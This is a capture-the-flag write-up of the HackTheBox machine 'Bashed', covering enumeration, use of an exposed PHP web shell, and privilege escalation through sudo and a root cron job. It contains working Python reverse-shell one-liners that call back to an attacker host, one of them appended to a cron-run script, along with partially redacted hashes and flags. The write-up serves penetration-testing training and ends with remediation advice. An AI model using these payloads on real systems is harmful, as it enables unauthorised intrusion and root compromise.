


[HackTheBox] Bashed

Date: 25/Jun/2020


Categories: [htb](#), [linux](#), [oscp](#)

Tags: [enumerate_proto_http](#), [exploit_python_reverseshell](#), [privesc_sudo](#), [privesc_cron_rootjobs](#)

InfoCard:




The InfoCard for the Bashed VM features a circular avatar on the left with a green border. The avatar depicts a character with a grey mask and suit, a yellow collar, and a white '\$_' symbol on the forehead. The background of the avatar is orange. To the right of the avatar, the title 'Bashed' is displayed in white. Below the title, five dark grey boxes contain the following information: OS: Linux (with a penguin icon), Difficulty: Easy (in green), Points: 20 (in green), Release: 09 Dec 2017, and IP: 10.10.10.68.

OS:	 Linux
Difficulty:	Easy
Points:	20
Release:	09 Dec 2017
IP:	10.10.10.68

Overview

This is a writeup for HackTheBox VM [Bashed](#). Here's an overview of the enumeration → exploitation → privilege escalation process:

Killchain



TTPs

1. 80/tcp/http/2.4.18 ((Ubuntu)): [enumerate_proto_http](#), [exploit_python_reverseshell](#), [privesc_sudo](#), [privesc_cron_rootjobs](#)

Phase #1: Enumeration

1. Here's the Nmap scan result:

```
1 # Nmap 7.80 scan initiated Fri May 29 19:04:11 2020 as: nmap -vv --reason -Pn -sV -sC
   ↳ --version-all -oN
   ↳ /home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/_quick_tcp_nmap.txt -oX
   ↳ /home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/xml/_quick_tcp_nmap.xml
   ↳ 10.10.10.68
2 Nmap scan report for 10.10.10.68
3 Host is up, received user-set (0.32s latency).
4 Scanned at 2020-05-29 19:04:24 IST for 46s
5 Not shown: 999 closed ports
6 Reason: 999 conn-refused
7 PORT      STATE SERVICE REASON  VERSION
8 80/tcp    open  http      syn-ack Apache httpd 2.4.18 ((Ubuntu))
9 |_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870
10 |_http-methods:
11 |_ Supported Methods: POST OPTIONS GET HEAD
12 |_http-server-header: Apache/2.4.18 (Ubuntu)
13 |_http-title: Arrexel's Development Site
14
15 Read data files from: /usr/bin/./share/nmap
16 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17 # Nmap done at Fri May 29 19:05:10 2020 -- 1 IP address (1 host up) scanned in 59.85 seconds
```

2. We see that the port 80/tcp is the only open port on this machine. Let's run gobuster and find interesting directories on this web server:

```
1 gobuster dir -u http://10.10.10.68:80/ -w
   ↳ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -k -l -s
   ↳ "200,204,301,302,307,403,500" -x "txt,html,php,asp,aspx,jsp" -z -o
   ↳ "/home/kali/toolbox/writeups/htb.bashed/results/10.10.10.68/scans/tcp_80_http_gobuster_dirbuster.txt"
```

3. We find a few directories from gobuster scan and the /dev directory lists two interesting files: phpbash.min.php and phpbash.php

```
1 $ cat results/10.10.10.68/scans/tcp_80_http_gobuster_dirbuster.txt
2 http://10.10.10.68:80/images (Status: 301) [Size: 311]
3 http://10.10.10.68:80/index.html (Status: 200) [Size: 7742]
4 http://10.10.10.68:80/about.html (Status: 200) [Size: 8190]
5 http://10.10.10.68:80/contact.html (Status: 200) [Size: 7802]
6 http://10.10.10.68:80/uploads (Status: 301) [Size: 312]
7 http://10.10.10.68:80/php (Status: 301) [Size: 308]
8 http://10.10.10.68:80/css (Status: 301) [Size: 308]
9 http://10.10.10.68:80/dev (Status: 301) [Size: 308]
10 http://10.10.10.68:80/js (Status: 301) [Size: 307]
11 http://10.10.10.68:80/config.php (Status: 200) [Size: 0]
12 http://10.10.10.68:80/fonts (Status: 301) [Size: 310]
13 http://10.10.10.68:80/single.html (Status: 200) [Size: 7476]
```



Name	Last modified	Size	Description
Parent Directory	-	-	-
phpbash.min.php	2017-12-04 12:21	4.6K	
phpbash.php	2017-11-30 23:56	8.1K	

Apache/2.4.18 (Ubuntu) Server at 10.10.10.68 Port 80

Figure 2: writeup.enumeration.steps.3.1




Figure 3: writeup.enumeration.steps.3.2

4. We find that [phpbash](#) is a minimal web shell that can give us interactive access to the target machine.

phpbash

DEVELOPMENT • DECEMBER 4, 2017

phpbash helps a lot with pentesting. I have tested it on multiple different servers and it was very useful. I actually developed it on this exact server!

<https://github.com/Arrexel/phpbash>




Figure 4: writeup.enumeration.steps.4.1

Findings

Open Ports


```
1 80/tcp | http | 2.4.18 ((Ubuntu))
```

Files

```
1 /dev/phpbash.min.php
2 /dev/phpbash.php
```

Phase #2: Exploitation

1. We visit the `/dev/phpbash.min.php` page and find the `phpbash` interactive web shell UI which enables command execution and further enumeration:



```
10.10.10.68/dev/phpbash.min.php
www-data@bashed:/var/www/html/dev# whoami
www-data
www-data@bashed:/var/www/html/dev# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bashed:/var/www/html/dev# uname -a
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
```

Figure 5: writeup.exploitation.steps.1.1

2. We use a Python reverse shell to obtain interactive access on this system:

```
1 nc -nlvp 443
2 python -c 'import
  ↳ socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",443));
  ↳ os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```



```
kali@kali: ~/toolbox/writeups/htb.bashed $ sudo nc -nlvp 443
[sudo] password for kali:
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 56218
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ ifconfig
ens33      Link encap:Ethernet  HWaddr 00:50:56:b9:44:62
            inet addr:10.10.10.68  Bcast:10.10.10.255  Mask:255.255.255.255
            inet6 addr: dead:beef::250:56ff:feb9:4462/64 Scope:Global
            inet6 addr: fe80::250:56ff:feb9:4462/64 Scope:Link
            UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
            RX packets:83313 errors:0 dropped:332 overruns:0 frame:0
            TX packets:78575 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1000
            RX bytes:5290997 (5.2 MB)  TX bytes:8385550 (8.3 MB)

lo         Link encap:Local Loopback
            inet addr:127.0.0.1  Mask:255.0.0.0
            inet6 addr: ::1/128 Scope:Host
            UP LOOPBACK RUNNING  MTU:65536  Metric:1
            RX packets:442129 errors:0 dropped:0 overruns:0 frame:0
            TX packets:442129 errors:0 dropped:0 overruns:0 carrier:0
            collisions:0 txqueuelen:1
            RX bytes:32718756 (32.7 MB)  TX bytes:32718756 (32.7 MB)

$
```

Figure 6: writeup.exploitation.steps.2.1

Phase #2.5: Post Exploitation

```
1 www-data@bashed> id
2 uid=33(www-data) gid=33(www-data) groups=33(www-data)
3 www-data@bashed>
4 www-data@bashed> uname
```

```

5 Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64
  ↳ GNU/Linux
6 www-data@bashed>
7 www-data@bashed> ifconfig
8 ens33    Link encap:Ethernet  HWaddr 00:50:56:b9:44:62
9          inet addr:10.10.10.68  Bcast:10.10.10.255  Mask:255.255.255.255
10          inet6 addr: dead:beef::250:56ff:feb9:4462/64 Scope:Global
11          inet6 addr: fe80::250:56ff:feb9:4462/64 Scope:Link
12          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
13          RX packets:83524 errors:0 dropped:332 overruns:0 frame:0
14          TX packets:78785 errors:0 dropped:0 overruns:0 carrier:0
15          collisions:0 txqueuelen:1000
16          RX bytes:5305396 (5.3 MB)  TX bytes:8408691 (8.4 MB)
17
18 lo       Link encap:Local Loopback
19          inet addr:127.0.0.1  Mask:255.0.0.0
20          inet6 addr: ::1/128 Scope:Host
21          UP LOOPBACK RUNNING  MTU:65536  Metric:1
22          RX packets:444689 errors:0 dropped:0 overruns:0 frame:0
23          TX packets:444689 errors:0 dropped:0 overruns:0 carrier:0
24          collisions:0 txqueuelen:1
25          RX bytes:32908196 (32.9 MB)  TX bytes:32908196 (32.9 MB)
26 www-data@bashed>
27 www-data@bashed> users
28 root
29 arrexel
30 scriptmanager

```


Phase #3: Privilege Escalation

1. We find that the user `www-data` can run any command as user `scriptmanager` using `sudo`:

```
1 sudo -l
2 sudo -u scriptmanager /bin/bash
```

```
www-data@bashed:/home/arrexel$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/home/arrexel$
```

Figure 7: writeup.privesc.steps.1.1

```
www-data@bashed:/tmp$
www-data@bashed:/tmp$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/tmp$
www-data@bashed:/tmp$
www-data@bashed:/tmp$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ id
uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager)
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ whoami
scriptmanager
scriptmanager@bashed:/tmp$
```

Figure 8: writeup.privesc.steps.1.2

2. We find an interesting directory `/scripts` which has two files in it. One is a Python script `test.py` owned by user `scriptmanager` and other is `test.txt` owned by `root`. We use a script `CronJobCheckser.sh` and find that there's a `root` owned cronjob that runs the `test.py` script and which creates the `test.txt` file.

```
1 ls -la /scripts
2 cat /scripts/test.py
```

```

www-data@bashed:/home/arrexel$ which wget
/usr/bin/wget
www-data@bashed:/home/arrexel$ wget http://10.10.14.4:8000/CronJobChecker.sh
--2020-06-24 10:36:37-- http://10.10.14.4:8000/CronJobChecker.sh
Connecting to 10.10.14.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 851 [text/x-sh]
CronJobChecker.sh: Permission denied

Cannot write to 'CronJobChecker.sh' (Success).
www-data@bashed:/home/arrexel$ cd /tmp
www-data@bashed:/tmp$
www-data@bashed:/tmp$
www-data@bashed:/tmp$ wget http://10.10.14.4:8000/CronJobChecker.sh
--2020-06-24 10:36:44-- http://10.10.14.4:8000/CronJobChecker.sh
Connecting to 10.10.14.4:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 851 [text/x-sh]
Saving to: 'CronJobChecker.sh'

CronJobChecker.sh  100%[=====>]      851  --.-KB/s   in 0s

2020-06-24 10:36:45 (1.70 MB/s) - 'CronJobChecker.sh' saved [851/851]

www-data@bashed:/tmp$

```

Figure 9: writeup.privesc.steps.2.1

```

www-data@bashed:/tmp$
www-data@bashed:/tmp$ chmod +x CronJobChecker.sh
www-data@bashed:/tmp$
www-data@bashed:/tmp$
www-data@bashed:/tmp$ ./CronJobChecker.sh
> /usr/sbin/CRON -f
> /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
> python test.py
< /usr/sbin/CRON -f
< /bin/sh -c cd /scripts; for f in *.py; do python "$f"; done
< python test.py
^C
www-data@bashed:/tmp$

```

Figure 10: writeup.privesc.steps.2.2

```

scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ ls -l /scripts
total 8
-rwxr-xr-x 1 scriptmanager scriptmanager 218 Jun 23 18:28 test.py
-rw-r--r-- 1 root          root          12 Jun 23 18:33 test.txt
scriptmanager@bashed:/tmp$

```

Figure 11: writeup.privesc.steps.2.3

3. We can now edit this file to execute a reverse shell that gives us elevated privileges on the system:

```

1 nc -nlvp 9999
2 echo 'import
  ↪ socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9999))
  ↪ os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  ↪ >>/scripts/test.py

```

```

scriptmanager@bashed:/tmp$
<);p=subprocess.call(["/bin/sh","-i"]);' >>/scripts/rs.py
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ cat /scripts/rs.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
scriptmanager@bashed:/tmp$
scriptmanager@bashed:/tmp$ ls -l /scripts
total 12
-rw-r--r-- 1 scriptmanager scriptmanager 215 Jun 24 10:47 rs.py
-rwxr-xr-x 1 scriptmanager scriptmanager 218 Jun 23 18:28 test.py
-rw-r--r-- 1 root root 12 Jun 23 18:33 test.txt
scriptmanager@bashed:/tmp$ chmod +x /scripts/rs.py
scriptmanager@bashed:/tmp$ ls -l /scripts
total 12
-rwxr-xr-x 1 scriptmanager scriptmanager 215 Jun 24 10:47 rs.py
-rwxr-xr-x 1 scriptmanager scriptmanager 218 Jun 23 18:28 test.py
-rw-r--r-- 1 root root 12 Jun 23 18:33 test.txt
scriptmanager@bashed:/tmp$

```

Figure 12: writeup.privesc.steps.3.1

4. As soon as the cronjob runs, we get the elevated shell and can now view the `root.txt` flag file:

```
1 cat /root/root.txt
```

```

kali@kali: ~/toolbox/writeups/htb.bashed $ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.10.68] 57310
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#
# whoami
root
#
# uname -a
Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
#

```

Figure 13: writeup.privesc.steps.4.1

```

#
# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:44:62 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.68/32 brd 10.10.10.255 scope global ens33
        valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:4462/64 scope global mngtmpaddr dynamic
        valid_lft 86016sec preferred_lft 14016sec
    inet6 fe80::250:56ff:feb9:4462/64 scope link
        valid_lft forever preferred_lft forever
#
#
# cat /root/root.txt
cc4f0afe3a1026d402ba10329674a8e2
#

```

Figure 14: writeup.privesc.steps.4.2

Learning/Recommendation

- Production web server instances should not host development tools like a PHP web shell. It allowed the attacker to gain interactive access of the target system.
- Service users should not be allowed to use `sudo`. This misconfiguration enabled attacker to switch to a more privileged user account.
- Cronjob files should be owned by the same user that will be allowed to run it. The attacker was able to use this misconfiguration to modify a file they own and get it executed by `root` user.

Loot

Hashes

```
1 arrexel:$1$mDpVXKQV$o6HkBjhl/e.S.bV96tMm6.:17504:.....
2 scriptmanager:$6$WahhM57B$rOHkWDRQpds96uWXkRCzA6b5L3wOorpe4uwn5U32yKRSMWDwKAm.RF6T81Ki/
  ↪ M0yo.dJOB8Xm5/wOrLk.....
```

Flags

```
1 /home/arrexel/user.txt: 2c281f318555dbc1b8569.....
2 /root/root.txt: cc4f0afe3a1026d402ba10.....
```

References

- [+] <https://www.hackthebox.eu/home/machines/profile/118>
- [+] <https://medium.com/@ranakhalil101/hack-the-box-bashed-writup-a8e51a2914c2>
- [+] <https://0xdf.gitlab.io/2018/04/29/htb-bashed.html>